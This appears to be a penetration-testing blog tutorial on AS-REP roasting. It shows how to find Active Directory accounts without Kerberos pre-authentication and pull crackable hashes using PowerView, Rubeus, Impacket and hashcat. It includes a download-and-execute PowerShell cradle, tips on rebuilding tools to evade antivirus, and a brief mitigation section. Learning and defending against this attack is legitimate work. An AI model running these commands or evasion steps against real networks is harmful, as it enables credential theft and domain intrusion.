Introduction

AS-REP roasting is an attack that is often-overlooked in my opinion it is not extremely common as you have to explicitly set Accounts Does not Require Pre-Authentication aka DONT_REQ_PREAUTH

Pre-Authentication is the first step in Kerberos Authentication and its main role is to try to prevent brute-force password guessing attacks.

Typically during Pre-Auth, a user will enter his creds which will be used to encrypt a timestamp and the DC will decrypt it to validate that the correct creds were used. If the DC verifies okay it will issue a TGT however if Pre-Authentication is disabled it would allow an attacker to request a ticket for any user and the DC would simply return a TGT which will be encrypted similar to the Kerberoast attack which can be cracked offline.

AS-REP is cool as you don’t even have to do it from a Domain-Joined Machine or Domain-User you just have to have access to request to the KDC however being on a Domain-Joined Machine or having Domain Creds will make the enumeration process way easier as you can simply use LDAP Filter or PowerView to find targets.

Such as

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name

From Windows

Just like Kerberoasting AS-REP Roasting can be done from both Windows & Linux but we will cover Windows first as it’s much more convenient. We are attacking windows after all!

Powerview

Enumeration

First let’s import PowerView.ps1 into Memory with

IEX (New-Object Net.WebClient).DownloadString('http://werbserver:80/PowerView.ps1')

As said above under Kerberoasting AMSI will probably flag this on WIN10 1803 but I will leave evasion upto yourselves.

Now with PowerView in memory on a Domain-Joined Machine we can simply run

Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

You can also do the below

Get-DomainUser victimuser | Convert-FromUACValue

Exploit

Armed with our target user with DONT_REQ_PREAUTH set we can now request the relevant ticket to crack offline. Sadly PowerView.ps1 does not have a ASREP Roasting Function included however the author harmj0y or PowerView created a fantastic module to do this with

https://github.com/HarmJ0y/ASREPRoast

Simply Import the Module with

Import-Module .\ASREPRoast.ps1

And now we can simply run

Get-ASRepHash -Domain m0chanAD.local -UserName m0chan

This will return a Hash which you can crack with Hashcat with the below Syntax

hashcat64.exe -a 0 -m 7500 asrep.hash /wordlists/rockyou.txt

PS: You will have to install the latest version of Hashcat to get the support for AS-REP Cracking

John also support AS-REP Cracking but I have never tried it

Rebeus

Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#/.NET meaning it is a lot harder for defenders to detect it it’s reflectively loaded using something like Cobalt’s execute-assembly or SILENTTRINITY You can also reflectively load it from PowerShell but I will be covering .NET in greater detail in a future article.

https://github.com/GhostPack/Rubeus

The asreproast functionality of Rebeus actually is intended to fully replace harmj0ys ASREPRoast Powershell module I coupled with PowerView in the section above.

Enumeration

Like Kerberoasting Rubeus does not have a specific enumeration functionality and is more intended for the exploiting section so I will leave the enumeration section above to do the talking.

TLDR: Use PowerView to Enumeration or Get-ADUser coupled with LDAP queries to find your targets.

Exploit

Sorry for the Copy & Paste 😉

To get Rubeus you will actually need Visual Studio 2017 or anything that can compile .NET. In my case I use Visual Studio and build myself an assembly. Luckily at the moment the default build of Rubeus is only detected by one AV vendor on Virus Total however if your AV is flagging it just change some strings and comments and rebuild the project and your AV will shut up. That’s the beauty of open-source C# / .NET Projects, much easier to circumvent anti-virus solutions.

Armed with our assembly/exe we can simply drop it on the target Domain-Joined Machine in the context of a domain user or execute it from our Windows Machine providing we can see the KDC

Rubeus Github has an amazing explanation on all it’s features and it’s ability to target specific OU's Users etc etc so I will try not to copy it word-for-word but merely show it’s capabilities.

First we can try to Roast all Users in the Current Domain (May be Noise)

PS C:\Users\m0chan\Desktop > .\Rubeus asrep /format:hashcat

ASREP All Users in a Specific OU (Good if Organization has all Service Accounts in a Specific OU)

PS C:\Users\m0chan\Desktop > .\Rubeus asrep /ou:OU=SerivceAcc,DC=m0chanAD,DC=local /format:hashcat

This may generate a lot of Output so we can Output all the Hashes to a file for easier Management and Cracking.

/outfile:C:\Temp\TotallyNotHashes.txt

Roasting a Specific Users

PS C:\Users\m0chan\Desktop > .\Rubeus asrep /user:mssqlservice /format:hashcat

From Linux

Just like Kerberoasting, AS-REP Roasting can be done from both Windows & Linux and I will cover Linux in this section even though I highly recommend you do this from a Windows Machine and/or a Domain Joined Machine for ease of access.

Similar to Kerberoasting there is a very useful python script from the Impacket library that helps request TGT's for accounts with Pre-Auth disabled from Linux.

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py

Enumerate accounts with PRE_AUTH disabled from Linux is a little tricky unless you have already enumerated a target or have another Domain Users credentials in which you can execute LDAP Commands from Linux with something like ldapsearch

However let’s say we are armed with GetNPUsers.py and a target in mind we can simply run the below

[email protected]:/scripts/> python GetNPUsers.py m0chanAD/ -usersfile TargetUsers.txt -format hashcat -outputfile hashes.asreproast

Mitigation / Defending against AS-REP Roasting

The first step towards mitigating this vulnerability is to ensure that all your accounts within your environment have Kerberos Pre-Authentication enabled (Enabled by Default), Truthfully I do not see any reason for this to be disabled. Perhaps a reader can tell me why you would disable it.

However I would advise if you do need to disable this for some reason that the password set on the user account is 32+ and composed of extreme complexity.